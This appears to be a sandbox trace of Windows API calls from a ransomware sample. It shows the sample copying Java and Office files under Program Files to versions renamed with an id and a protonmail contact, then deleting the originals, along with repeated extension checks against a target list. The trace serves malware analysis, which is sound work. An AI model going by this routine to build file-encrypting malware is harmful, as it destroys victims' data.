	[0065.511] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0065.511] GetLastError () returned 0x0
	[0065.511] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1082, lpOverlapped=0x0) returned 1
	[0065.524] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1090, lpOverlapped=0x0) returned 1
	[0065.525] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.525] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xee, lpOverlapped=0x0) returned 1
	[0065.525] SetEndOfFile (hFile=0x320) returned 1
	[0065.525] CloseHandle (hObject=0x320) returned 1
	[0065.526] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.526] SetEndOfFile (hFile=0x338) returned 1
	[0065.527] CloseHandle (hObject=0x338) returned 1
	[0065.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.527] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1
	[0065.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.528] lstrlenW (lpString=".doc") returned 4
	[0065.528] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString=".docx") returned 5
	[0065.528] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0065.528] lstrlenW (lpString=".pdf") returned 4
	[0065.528] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString=".xls") returned 4
	[0065.528] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0065.528] lstrlenW (lpString=".xlsx") returned 5
	[0065.528] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0065.528] lstrlenW (lpString=".ppt") returned 4
	[0065.528] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.528] lstrlenW (lpString=".zip") returned 4
	[0065.528] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0065.528] lstrlenW (lpString=".rar") returned 4
	[0065.528] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString=".bz2") returned 4
	[0065.528] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString=".7z") returned 3
	[0065.528] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0065.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.528] lstrlenW (lpString=".dbf") returned 4
	[0065.528] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.528] lstrlenW (lpString=".1cd") returned 4
	[0065.528] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.528] lstrlenW (lpString=".jpg") returned 4
	[0065.528] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0065.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.529] lstrlenW (lpString=".doc") returned 4
	[0065.529] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString=".docx") returned 5
	[0065.529] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0065.529] lstrlenW (lpString=".pdf") returned 4
	[0065.529] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString=".xls") returned 4
	[0065.529] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0065.529] lstrlenW (lpString=".xlsx") returned 5
	[0065.529] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0065.529] lstrlenW (lpString=".ppt") returned 4
	[0065.529] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.529] lstrlenW (lpString=".zip") returned 4
	[0065.529] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0065.529] lstrlenW (lpString=".rar") returned 4
	[0065.529] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString=".bz2") returned 4
	[0065.529] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString=".7z") returned 3
	[0065.529] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0065.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.529] lstrlenW (lpString=".dbf") returned 4
	[0065.529] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.529] lstrlenW (lpString=".1cd") returned 4
	[0065.529] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0065.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0065.529] lstrlenW (lpString=".jpg") returned 4
	[0065.529] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0065.530] lstrcmpiW (lpString1=".txt", lpString2=".html") returned 1
	[0065.530] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34
	[0065.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.535] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=63933) returned 1
	[0065.535] CloseHandle (hObject=0x338) returned 1
	[0065.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20
	[0065.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.535] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.536] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.536] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.549] GetLastError () returned 0x0
	[0065.549] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xf9bd, lpOverlapped=0x0) returned 1
	[0065.557] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf9c0, lpOverlapped=0x0) returned 1
	[0065.559] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.559] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x118, lpOverlapped=0x0) returned 1
	[0065.559] SetEndOfFile (hFile=0x364) returned 1
	[0066.443] CloseHandle (hObject=0x364) returned 1
	[0066.445] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.445] SetEndOfFile (hFile=0x338) returned 1
	[0066.446] CloseHandle (hObject=0x338) returned 1
	[0066.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0066.447] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1
	[0066.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.447] lstrlenW (lpString=".doc") returned 4
	[0066.447] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0066.447] lstrlenW (lpString=".docx") returned 5
	[0066.447] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0066.447] lstrlenW (lpString=".pdf") returned 4
	[0066.447] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0066.447] lstrlenW (lpString=".xls") returned 4
	[0066.447] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0066.447] lstrlenW (lpString=".xlsx") returned 5
	[0066.447] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0066.448] lstrlenW (lpString=".ppt") returned 4
	[0066.448] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.448] lstrlenW (lpString=".zip") returned 4
	[0066.448] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0066.448] lstrlenW (lpString=".rar") returned 4
	[0066.448] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString=".bz2") returned 4
	[0066.448] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString=".7z") returned 3
	[0066.448] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0066.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.448] lstrlenW (lpString=".dbf") returned 4
	[0066.448] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.448] lstrlenW (lpString=".1cd") returned 4
	[0066.448] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.448] lstrlenW (lpString=".jpg") returned 4
	[0066.448] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.448] lstrlenW (lpString=".doc") returned 4
	[0066.448] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString=".docx") returned 5
	[0066.448] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0066.448] lstrlenW (lpString=".pdf") returned 4
	[0066.448] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0066.448] lstrlenW (lpString=".xls") returned 4
	[0066.448] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0066.448] lstrlenW (lpString=".xlsx") returned 5
	[0066.448] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0066.449] lstrlenW (lpString=".ppt") returned 4
	[0066.449] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0066.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.449] lstrlenW (lpString=".zip") returned 4
	[0066.449] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0066.449] lstrlenW (lpString=".rar") returned 4
	[0066.449] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0066.449] lstrlenW (lpString=".bz2") returned 4
	[0066.449] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0066.449] lstrlenW (lpString=".7z") returned 3
	[0066.449] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0066.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.449] lstrlenW (lpString=".dbf") returned 4
	[0066.449] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0066.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.449] lstrlenW (lpString=".1cd") returned 4
	[0066.449] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0066.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0066.449] lstrlenW (lpString=".jpg") returned 4
	[0066.449] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0066.449] lstrcmpiW (lpString1=".VBS", lpString2=".html") returned 1
	[0066.449] lstrlenW (lpString="OSPP.VBS") returned 8
	[0066.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.467] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=94467) returned 1
	[0066.467] CloseHandle (hObject=0x338) returned 1
	[0066.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20
	[0066.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.468] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.468] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0066.468] GetLastError () returned 0x0
	[0066.468] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x17103, lpOverlapped=0x0) returned 1
	[0066.517] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x17110, lpOverlapped=0x0) returned 1
	[0066.520] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.520] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.520] SetEndOfFile (hFile=0x364) returned 1
	[0066.520] CloseHandle (hObject=0x364) returned 1
	[0066.523] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.523] SetEndOfFile (hFile=0x338) returned 1
	[0066.524] CloseHandle (hObject=0x338) returned 1
	[0066.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0066.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1
	[0066.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.525] lstrlenW (lpString=".doc") returned 4
	[0066.525] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0066.525] lstrlenW (lpString=".docx") returned 5
	[0066.525] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0066.525] lstrlenW (lpString=".pdf") returned 4
	[0066.525] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0066.525] lstrlenW (lpString=".xls") returned 4
	[0066.525] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0066.525] lstrlenW (lpString=".xlsx") returned 5
	[0066.525] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0066.525] lstrlenW (lpString=".ppt") returned 4
	[0066.525] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0066.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.525] lstrlenW (lpString=".zip") returned 4
	[0066.525] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0066.525] lstrlenW (lpString=".rar") returned 4
	[0066.525] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0066.525] lstrlenW (lpString=".bz2") returned 4
	[0066.525] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0066.525] lstrlenW (lpString=".7z") returned 3
	[0066.525] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0066.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.526] lstrlenW (lpString=".dbf") returned 4
	[0066.526] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.526] lstrlenW (lpString=".1cd") returned 4
	[0066.526] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.526] lstrlenW (lpString=".jpg") returned 4
	[0066.526] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.526] lstrlenW (lpString=".doc") returned 4
	[0066.526] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString=".docx") returned 5
	[0066.526] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0066.526] lstrlenW (lpString=".pdf") returned 4
	[0066.526] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString=".xls") returned 4
	[0066.526] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0066.526] lstrlenW (lpString=".xlsx") returned 5
	[0066.526] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0066.526] lstrlenW (lpString=".ppt") returned 4
	[0066.526] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.526] lstrlenW (lpString=".zip") returned 4
	[0066.526] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0066.526] lstrlenW (lpString=".rar") returned 4
	[0066.526] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString=".bz2") returned 4
	[0066.526] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0066.526] lstrlenW (lpString=".7z") returned 3
	[0066.526] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0066.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.527] lstrlenW (lpString=".dbf") returned 4
	[0066.527] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0066.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.527] lstrlenW (lpString=".1cd") returned 4
	[0066.527] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0066.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0066.527] lstrlenW (lpString=".jpg") returned 4
	[0066.527] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0066.527] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.527] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53
	[0066.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0066.571] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=800867) returned 1
	[0066.571] CloseHandle (hObject=0x334) returned 1
	[0066.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0066.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0066.572] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.572] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
